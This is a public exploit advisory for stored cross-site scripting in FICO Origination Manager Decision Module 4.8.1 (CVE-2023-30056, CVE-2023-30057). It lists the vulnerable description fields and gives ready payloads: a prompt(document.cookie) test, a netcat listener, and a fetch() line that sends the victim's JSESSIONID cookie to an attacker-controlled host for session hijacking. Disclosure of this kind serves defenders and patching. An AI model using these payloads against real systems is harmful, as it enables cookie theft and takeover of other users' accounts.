Multiple persistent cross site scripting vulnerabilities in FICO Origination Manager Decision Module version 4.8.1 allow an attacker to execute code in the context of the victim's browser using a crafted payload. Additionally, an attacker with initial access to the application, can get the JSESSIONID cookie of another user and take over their session. These two findings can be chained together.
27679f4bfde5c9377efad490bf7207a9b6f587632600f7b21edcff5a9651ed7f
# Exploit Title: Stored-XSS in FICO Origination Manager Decision Module 4.8.1 Leads to Session Hijacking
# Date: 2023-05-07
# Exploit Author: Matei Josephs
# Vendor Homepage: https://www.fico.com/
# Version: FICO Origination Manager Decision Module 4.8.1
# CVE : CVE-2023-30056, CVE-2023-30057
Introduction
=================
Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow to execute code in the context of the victim's browser using a crafted payload. Additionally, an attacker with initial access to the application, can get the JSESSIONID cookie of another user and take over their session. These two findings can be chained together.
Proof of Concept
=================
All description fields when adding Categories and Products, Product Strategies, Decision Flows, Data Object References, Data Methods, Data Method Sequences, Rulesets, Decision Tables, Decision Trees, Score Models, Scenarios, or Internal Services are vulnerable to a stored XSS using the following payload:
<img/src/onerror=prompt(document.cookie)>
An attacker could implement a cookie stealer as follows:
On the attacker's machine:
nc -lvnp <PORT>
In one of the vulnerable description fields:
<img/src/onerror=fetch('https://<ATTACKER-IP>:<PORT>/'+document.cookie)>
When a victim would visit the page where the payload was injected, the attacker would receive their JSESSIONID cookie. The attacker could then use the JSESSIONID cookie to log into the Origination Manager Decision Module as the victim.